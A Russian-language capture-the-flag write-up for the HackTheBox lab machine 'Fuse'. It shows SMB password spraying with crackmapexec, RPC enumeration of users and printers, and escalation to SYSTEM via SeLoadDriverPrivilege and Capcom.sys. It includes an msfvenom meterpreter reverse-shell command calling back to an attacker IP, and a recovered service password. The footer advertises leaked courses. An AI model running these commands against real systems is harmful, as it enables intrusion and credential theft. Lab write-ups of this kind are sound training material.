Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье создадим словарик паролей из косвенной информации о пользователях, посмотрим на информацию о принтерах с точки зрения RPC и повышаем привилегии благодаря SeLoadDriverPrivilege.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.193, который я добавляю в /etc/hosts.
10.10.10.193 fuse.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Давайте добавим FQDN имя машины в /etc/hosts.
10.10.10.193 fuse.fabricorp.local
И на хосте работает веб-сервер. Давайте посмотрим, что там есть.
Нас встречает сайт с принтерами и мы можем скачать 4 документа, что давайте и сделаем.
Так как больше никаких векторов не находим, давай отметим для себя имена пользователей.
cat *.csv | grep 2020 | cut -d ',' -f 2 | sort | uniq
Также создадим список паролей из информации в документах.
cat *.csv | grep 2020 | cut -d ',' -f2,5-7 | tr -d '"' | tr '.' '\n' | tr ',' '\n' | tr -d ' ' | tr '-' '\n' | sort | uniq | tail -n+4
И теперь попробуем брутить, к примеру SMB.
cme smb 10.10.10.193 -u users.txt -p pass.txt --continue-on-success
И есть сообщение, что пароль для пользователя должен быть изменен.
Entry point
Давайте это и сделаем. Зададим тот же пароль.
smbpasswd -r 10.10.10.193 -U bhult
Но у нас есть несколько секунд, и пароль становится недействительным.
Поэтому выполняем две команды в связке.
smbpasswd -r 10.10.10.193 -U bhult ; rpcclient -U bhult 10.10.10.193
Давайте просмотрим всех пользователей, сделаем этот с помощью RPC.
USER
И находим интересного пользователя. Учитывая все тему с принтерами, которых уже длится все время, давайте посмотрим принтеры.
И находим пароль. Создадим список из уже действительных пользователей.
А вот теперь попробуем данный пароль для всех пользователей.
sudo cme smb 10.10.10.193 -u users.txt -p '$fab@s3Rv1ce$1' --continue-on-success
И находим двух пользователей. И у нас получается подключиться к WinRM и забрать первый флаг.
ROOT
Посмотрим информацию о текущем пользователе.
И наблюдаем привилегию SeLoadDriverPrivilege. И тут есть вектор LPE. Нам понадобятся следующее ПО: Capcom.sys, EoPLoadDriver и шелл meterpreter. Давайте создадим его.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.160 LPORT=4321 -f exe -o e.exe
И активируем листенер. Загрузим все на хост и запустим эксплоит meterpreter.
handler -p windows/x64/meterpreter/reverse_tcp -H 10.10.15.160 -P 4321
Теперь нужно загрузить драйвер.
.\eoploaddriver.exe System\CurrentControlSet\custom C:\Users\svc-print\Documents\Capcom.sys
И перед запуском эксплоита нужно немного его поправить. Давайте закомментируем следующие строки в файле /usr/share/metasploit-framework/modules/exploits/windows/local/capcom_sys_exec.rb.
И выполняем.
Как результат, создана новая сессия от имени SYSTEM. Вот к чему может привести привилегия SeLoadDriverPrivilege.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
TheDenis
sort сам умеет выдавать только уникальные строки. Так что вместо
можно просто